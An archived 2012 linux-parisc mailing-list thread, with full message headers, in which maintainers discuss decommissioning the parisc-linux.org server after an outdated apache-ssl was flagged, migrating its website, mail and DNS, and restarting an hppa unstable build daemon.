>> At this point I've removed apache-ssl. I tried installing apache2 to
>> see if any web pages would magically work - it didn't, so right now
>> the website is 404 farm :( I didn't spend much time trying to handle
>> that since.....
>>
>> parisc-linux.org is running the last stable release of Debian that
>> supported hppa ('lenny'), and its life is now expired. As such, I
>> think we really need to migrate the site to another maintained
>> distribution and/or architecture. I'm willing to help migrate  
>> services
>> for the next month or so - let's just say 2012.03.14 for a good round
>> (heh) date - after which I plan to halt this system and let HP know
>> the hardware can be put to other uses. From what I can tell, we
>> originally installed this system almost exactly 9 years ago - ah,
>> rememember its predecessor dsl2? Good times. Anyway -
>>
>> *************************************************************************
>> *** If you need any data off this machine, now's the time to grab  
>> it! ***
>> *************************************************************************
>>
>> If you'd like to take over longterm hosting the website/domain,  
>> please
>> get in touch with taggart or I. If you'd like to continue using the
>> machine and/or HP's network to do the hosting, I can probably find a
>> contact for you there - though I wouldn't bet on it.
>>
>> In the meantime, if anyone wants to get the website working on  
>> apache2
>> for the remainder of the system's lifetime, please let me know.
>
> Hi Dann,
>
> What's the status of @p-l.o email addresses? I'm receiving a fair bit
> of email on this domain, and I think others do too, if we need to move
> on elsewhere it'd be nice to have a little headstart... ;)
>
> Thanks
>
> T-Bone
>
>
> -- 
> Thibaut VARENE
> http://www.parisc-linux.org/~varenet/


parisc-linux.org could be updated to unstable.  As I have mentioned, I  
am working
to restart an unstable buildd for parisc.  The magnum machine in the  
ESIEE cluster
is currently being updated for this purpose.  It is currently running  
a 3.2.2 kernel
and glibc 2.13-10.  I intend to update it to 3.2.4 and glibc 2.13-26  
this weekend.
I have built a big hunk of unstable/

As far as I can tell, the last kernel patch that I post to the @p-l.o  
list, resolves the SMP
stability issues that have plagued parisc for years.  I now have about  
six weeks running
experience on rp3440s without a single random segmentation fault or  
hpmc.  The
machines have been running at load levels not previously possible.   
This is the result
of many incremental fixes to the tool chain and the kernel.

I have no objection to moving the site to another arch although there  
is some political
benefit to having it run on parisc.  I am willing to try to build  
apache2 from unstable.

I believe it would be useful to keep the site going until we see if  
restarting buildd will
fly or not given the current level of improvement.

Regards,
Dave
--
John David Anglin	dave.anglin@bell.net

PS: My first parisc machine is still running and it is 22 years old!

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Wed, 8 Feb 2012 20:53:22 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <BLU0-SMTP20D7D4B1C592E334524894977B0@phx.gbl>
References: <20120208143347.GB22903@dannf.org> <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com> <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1328752434 31911 80.91.229.3 (9 Feb 2012 01:53:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 9 Feb 2012 01:53:54 +0000 (UTC)
Cc: Thibaut VARENE <varenet@parisc-linux.org>,
	dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org,
	taggart@lackof.org, bame@riverrock.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 09 02:53:52 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RvJCp-00041G-Oc
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Feb 2012 02:53:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756474Ab2BIBxv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Feb 2012 20:53:51 -0500
Original-Received: from blu0-omc4-s31.blu0.hotmail.com ([65.55.111.170]:44622 "EHLO
	blu0-omc4-s31.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755817Ab2BIBxu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Feb 2012 20:53:50 -0500
Original-Received: from BLU0-SMTP20 ([65.55.111.135]) by blu0-omc4-s31.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 8 Feb 2012 17:53:49 -0800
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP20.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 8 Feb 2012 17:53:48 -0800
In-Reply-To: <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 09 Feb 2012 01:53:49.0484 (UTC) FILETIME=[AAC84EC0:01CCE6CD]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4139
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4139>

On 8-Feb-12, at 6:47 PM, John David Anglin wrote:

> I am willing to try to build apache2 from unstable.

I have uploaded hppa apache2 2.2.22-1 debs to my archives-new directory
on shirka.esiee.fr.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Thu, 09 Feb 2012 09:54:39 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <4F33DE2F.1040704@bell.net>
References: <20120208143347.GB22903@dannf.org> <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com> <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl> <BLU0-SMTP20D7D4B1C592E334524894977B0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1328799274 23208 80.91.229.3 (9 Feb 2012 14:54:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 9 Feb 2012 14:54:34 +0000 (UTC)
Cc: Thibaut VARENE <varenet@parisc-linux.org>,
	dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org,
	taggart@lackof.org, bame@riverrock.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 09 15:54:32 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RvVOI-0007jY-CC
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Feb 2012 15:54:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754136Ab2BIOy3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Feb 2012 09:54:29 -0500
Original-Received: from mail16.primus.ca ([216.254.141.183]:54411 "EHLO
	mail-06.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753968Ab2BIOy3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Feb 2012 09:54:29 -0500
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-06.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1RvVOE-0002lD-1g; Thu, 09 Feb 2012 09:54:26 -0500
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:9.0) Gecko/20111222 Thunderbird/9.0.1
In-Reply-To: <BLU0-SMTP20D7D4B1C592E334524894977B0@phx.gbl>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4140
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4140>

On 2/8/2012 8:53 PM, John David Anglin wrote:
> On 8-Feb-12, at 6:47 PM, John David Anglin wrote:
>
>> I am willing to try to build apache2 from unstable.
>
> I have uploaded hppa apache2 2.2.22-1 debs to my archives-new directory
> on shirka.esiee.fr.
I uploaded the latest apr debs this morning.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Thu, 9 Feb 2012 08:41:58 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20120209154158.GA7409@riverrock.org>
References: <20120208143347.GB22903@dannf.org>
 <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
 <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl>
 <BLU0-SMTP20D7D4B1C592E334524894977B0@phx.gbl>
 <4F33DE2F.1040704@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1328802663 18984 80.91.229.3 (9 Feb 2012 15:51:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 9 Feb 2012 15:51:03 +0000 (UTC)
Cc: Thibaut VARENE <varenet@parisc-linux.org>,
	dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org,
	taggart@lackof.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 09 16:50:58 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RvWGv-0004jV-Dy
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Feb 2012 16:50:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757991Ab2BIPuy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Feb 2012 10:50:54 -0500
Original-Received: from mail.riverrock.org ([173.8.234.158]:51287 "EHLO
	mail.riverrock.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757988Ab2BIPuy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Feb 2012 10:50:54 -0500
Original-Received: by mail.riverrock.org (Postfix, from userid 16602)
	id 1FF1359C00B; Thu,  9 Feb 2012 08:41:59 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <4F33DE2F.1040704@bell.net>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4141
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4141>

On Thu, Feb 09, 2012 at 09:54:39AM -0500, John David Anglin wrote:
> On 2/8/2012 8:53 PM, John David Anglin wrote:
> >On 8-Feb-12, at 6:47 PM, John David Anglin wrote:
> >
> >>I am willing to try to build apache2 from unstable.
> >
> >I have uploaded hppa apache2 2.2.22-1 debs to my archives-new directory
> >on shirka.esiee.fr.
> I uploaded the latest apr debs this morning.

We have a good enough apache2 installed already from the lenny
security repo, but it isn't configured to play nice with the existing
web pages.  Anybody interested in doing that?

	-p
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Thu, 9 Feb 2012 10:55:47 -0700
Lines: 127
Approved: news@gmane.org
Message-ID: <20120209175547.GA22332@dannf.org>
References: <20120208143347.GB22903@dannf.org>
 <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
 <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1328810152 15154 80.91.229.3 (9 Feb 2012 17:55:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 9 Feb 2012 17:55:52 +0000 (UTC)
Cc: Thibaut VARENE <varenet@parisc-linux.org>,
	linux-parisc@vger.kernel.org, taggart@lackof.org,
	bame@riverrock.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 09 18:55:51 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RvYDm-00073S-4l
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Feb 2012 18:55:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753740Ab2BIRzt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Feb 2012 12:55:49 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:47977 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753239Ab2BIRzt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Feb 2012 12:55:49 -0500
Original-Received: from fluid.dannf (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 4EAAF33E0010;
	Thu,  9 Feb 2012 10:55:48 -0700 (MST)
Original-Received: by fluid.dannf (Postfix, from userid 1000)
	id EDD7DD7E27; Thu,  9 Feb 2012 10:55:47 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Virus-Scanned: clamav-milter 0.97.3 at complete.lackof.org
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4142
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4142>

On Wed, Feb 08, 2012 at 06:47:45PM -0500, John David Anglin wrote:
> On 8-Feb-12, at 5:16 PM, Thibaut VARENE wrote:
> 
> >On Wed, Feb 8, 2012 at 3:33 PM, dann frazier <dannf@dannf.org> wrote:
> >>As Paul noted[1], parisc-linux.org was running a vulnerable
> >>apache which got the attention of HP's security audit team. I've been
> >>doing most of the maintenance of the OS on this machine for a while,
> >>but that has just meant apt-get upgrading when cron-apt told me
> >>to for
> >>a few years. Turns out apache-ssl was obsolete (an etch version!), so
> >>no amount of upgrading was going to fix that.
> >>
> >>At this point I've removed apache-ssl. I tried installing apache2 to
> >>see if any web pages would magically work - it didn't, so right now
> >>the website is 404 farm :( I didn't spend much time trying to handle
> >>that since.....
> >>
> >>parisc-linux.org is running the last stable release of Debian that
> >>supported hppa ('lenny'), and its life is now expired. As such, I
> >>think we really need to migrate the site to another maintained
> >>distribution and/or architecture. I'm willing to help migrate
> >>services
> >>for the next month or so - let's just say 2012.03.14 for a good round
> >>(heh) date - after which I plan to halt this system and let HP know
> >>the hardware can be put to other uses. From what I can tell, we
> >>originally installed this system almost exactly 9 years ago - ah,
> >>rememember its predecessor dsl2? Good times. Anyway -
> >>
> >>*************************************************************************
> >>*** If you need any data off this machine, now's the time to
> >>grab it! ***
> >>*************************************************************************
> >>
> >>If you'd like to take over longterm hosting the website/domain,
> >>please
> >>get in touch with taggart or I. If you'd like to continue using the
> >>machine and/or HP's network to do the hosting, I can probably find a
> >>contact for you there - though I wouldn't bet on it.
> >>
> >>In the meantime, if anyone wants to get the website working on
> >>apache2
> >>for the remainder of the system's lifetime, please let me know.
> >
> >Hi Dann,
> >
> >What's the status of @p-l.o email addresses? I'm receiving a fair bit
> >of email on this domain, and I think others do too, if we need to move
> >on elsewhere it'd be nice to have a little headstart... ;)
> >
> >Thanks
> >
> >T-Bone
> >
> >
> 
> 
> parisc-linux.org could be updated to unstable.  As I have mentioned,
> I am working
> to restart an unstable buildd for parisc.  

Yeah, I know this had started, but I haven't been keeping up with
the current status.

> The magnum machine in the
> ESIEE cluster
> is currently being updated for this purpose.  It is currently
> running a 3.2.2 kernel
> and glibc 2.13-10.  I intend to update it to 3.2.4 and glibc 2.13-26
> this weekend.
> I have built a big hunk of unstable/
> 
> As far as I can tell, the last kernel patch that I post to the
> @p-l.o list, resolves the SMP
> stability issues that have plagued parisc for years.  I now have
> about six weeks running
> experience on rp3440s without a single random segmentation fault or
> hpmc.  The
> machines have been running at load levels not previously possible.
> This is the result
> of many incremental fixes to the tool chain and the kernel.

Cool

> I have no objection to moving the site to another arch although
> there is some political
> benefit to having it run on parisc.  I am willing to try to build
> apache2 from unstable.

Well, we have apache2 installed from lenny now - it just isn't serving
anything useful :)

> I believe it would be useful to keep the site going until we see if
> restarting buildd will
> fly or not given the current level of improvement.

I am supportive of the site continuing to self-host, and I realize
that means it needs to run devel bits. But, there's two separate
issues I see there.

 1) We need to bridge the gap between now and then. Even if we had a
    buildd online today, just grinding through the necessary backlog
    would take weeks.
 2) I won't have time to be the principle admin for a system running
    unstable. I'm happy to help here & there, and w/ whatever
    transition ends up happening, but things like manually
    patching/fixing kernels, monitoring security updates and how they
    impact our bits, etc. Its a lot of work just for managing a single
    host.

For 1) I think the right answer is to move services to a new
stable/secure host for the time being and shut the existing machine
down. We can retain the option of moving things back once the unstable
port is in full force. As a side benefit, such a migration should also
help get the existing services running w/ newer packages
(e.g. apache2) and allow us cleanly transition services over w/
minimal downtime (demonstrate a working system first, then update DNS
records). Who knows how painful it will be to go from pre-lenny to sid
all at once.

2) can be solved by moving the domain to someone else's
infrastructure, or having a trusted volunteer to be the primary
admin for the system.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Thu, 9 Feb 2012 10:56:54 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <20120209175654.GB22332@dannf.org>
References: <20120208143347.GB22903@dannf.org>
 <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1328810217 15735 80.91.229.3 (9 Feb 2012 17:56:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 9 Feb 2012 17:56:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, taggart@lackof.org,
	bame@riverrock.org
To: Thibaut VARENE <varenet@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 09 18:56:56 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RvYEp-00073S-Aa
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Feb 2012 18:56:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753740Ab2BIR4y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Feb 2012 12:56:54 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:47993 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753239Ab2BIR4y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Feb 2012 12:56:54 -0500
Original-Received: from fluid.dannf (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 5DA0433E006D;
	Thu,  9 Feb 2012 10:56:54 -0700 (MST)
Original-Received: by fluid.dannf (Postfix, from userid 1000)
	id 48A3AC25F5; Thu,  9 Feb 2012 10:56:54 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Virus-Scanned: clamav-milter 0.97.3 at complete.lackof.org
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4143
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4143>

On Wed, Feb 08, 2012 at 11:16:16PM +0100, Thibaut VARENE wrote:
> On Wed, Feb 8, 2012 at 3:33 PM, dann frazier <dannf@dannf.org> wrote:
> > As Paul noted[1], parisc-linux.org was running a vulnerable
> > apache which got the attention of HP's security audit team. I've been
> > doing most of the maintenance of the OS on this machine for a while,
> > but that has just meant apt-get upgrading when cron-apt told me to for
> > a few years. Turns out apache-ssl was obsolete (an etch version!), so
> > no amount of upgrading was going to fix that.
> >
> > At this point I've removed apache-ssl. I tried installing apache2 to
> > see if any web pages would magically work - it didn't, so right now
> > the website is 404 farm :( I didn't spend much time trying to handle
> > that since.....
> >
> > parisc-linux.org is running the last stable release of Debian that
> > supported hppa ('lenny'), and its life is now expired. As such, I
> > think we really need to migrate the site to another maintained
> > distribution and/or architecture. I'm willing to help migrate services
> > for the next month or so - let's just say 2012.03.14 for a good round
> > (heh) date - after which I plan to halt this system and let HP know
> > the hardware can be put to other uses. From what I can tell, we
> > originally installed this system almost exactly 9 years ago - ah,
> > rememember its predecessor dsl2? Good times. Anyway -
> >
> > *************************************************************************
> > *** If you need any data off this machine, now's the time to grab it! ***
> > *************************************************************************
> >
> > If you'd like to take over longterm hosting the website/domain, please
> > get in touch with taggart or I. If you'd like to continue using the
> > machine and/or HP's network to do the hosting, I can probably find a
> > contact for you there - though I wouldn't bet on it.
> >
> > In the meantime, if anyone wants to get the website working on apache2
> > for the remainder of the system's lifetime, please let me know.
> 
> Hi Dann,
> 
> What's the status of @p-l.o email addresses? I'm receiving a fair bit
> of email on this domain, and I think others do too, if we need to move
> on elsewhere it'd be nice to have a little headstart... ;)

My assumption is that mail will follow the domain.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <martin.petersen@oracle.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Thu, 09 Feb 2012 14:18:21 -0500
Organization: Oracle
Lines: 27
Approved: news@gmane.org
Message-ID: <yq1mx8rn7cy.fsf@sermon.lab.mkp.net>
References: <20120208143347.GB22903@dannf.org>
	<CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
	<20120209175654.GB22332@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: dough.gmane.org 1328815122 22704 80.91.229.3 (9 Feb 2012 19:18:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 9 Feb 2012 19:18:42 +0000 (UTC)
Cc: Thibaut VARENE <varenet@parisc-linux.org>,
	linux-parisc@vger.kernel.org, taggart@lackof.org,
	bame@riverrock.org
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 09 20:18:38 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RvZVr-0000Zw-L0
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Feb 2012 20:18:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758274Ab2BITSf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Feb 2012 14:18:35 -0500
Original-Received: from acsinet15.oracle.com ([141.146.126.227]:61466 "EHLO
	acsinet15.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754140Ab2BITSe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Feb 2012 14:18:34 -0500
Original-Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238])
	by acsinet15.oracle.com (Switch-3.4.4/Switch-3.4.4) with ESMTP id q19JIPvT007429
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Thu, 9 Feb 2012 19:18:26 GMT
Original-Received: from acsmt356.oracle.com (acsmt356.oracle.com [141.146.40.156])
	by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id q19JINx1007707
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 9 Feb 2012 19:18:25 GMT
Original-Received: from abhmt112.oracle.com (abhmt112.oracle.com [141.146.116.64])
	by acsmt356.oracle.com (8.12.11.20060308/8.12.11) with ESMTP id q19JINjD023448;
	Thu, 9 Feb 2012 13:18:23 -0600
Original-Received: from mojo.mkp.net (/141.144.6.235)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Thu, 09 Feb 2012 11:18:22 -0800
In-Reply-To: <20120209175654.GB22332@dannf.org> (dann frazier's message of
	"Thu, 9 Feb 2012 10:56:54 -0700")
User-Agent: Gnus/5.110017 (No Gnus v0.17) Emacs/23.2 (gnu/linux)
X-Source-IP: acsinet22.oracle.com [141.146.126.238]
X-Auth-Type: Internal IP
X-CT-RefId: str=0001.0A090206.4F341C02.00AF,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4144
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4144>

>>>>> "Dann" == dann frazier <dannf@dannf.org> writes:

>> What's the status of @p-l.o email addresses? I'm receiving a fair bit
>> of email on this domain, and I think others do too, if we need to
>> move on elsewhere it'd be nice to have a little headstart... ;)

Dann> My assumption is that mail will follow the domain.

I would like something to be done with the mail situation. It totally
sucks being secondary mx since I get to deal with all the spam bounces
and blacklistings.

We can either move mail forwarding to my machine wholesale so I can fix
things or we can leave it on palinux and discontinue having me as
secondary. I'm happy either way.

I'm also happy to continue providing DNS. I would like the ability to
update the zone files, though. I would have fixed the mail problems long
ago if I could...

-- 
Martin K. Petersen	Oracle Linux Engineering
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
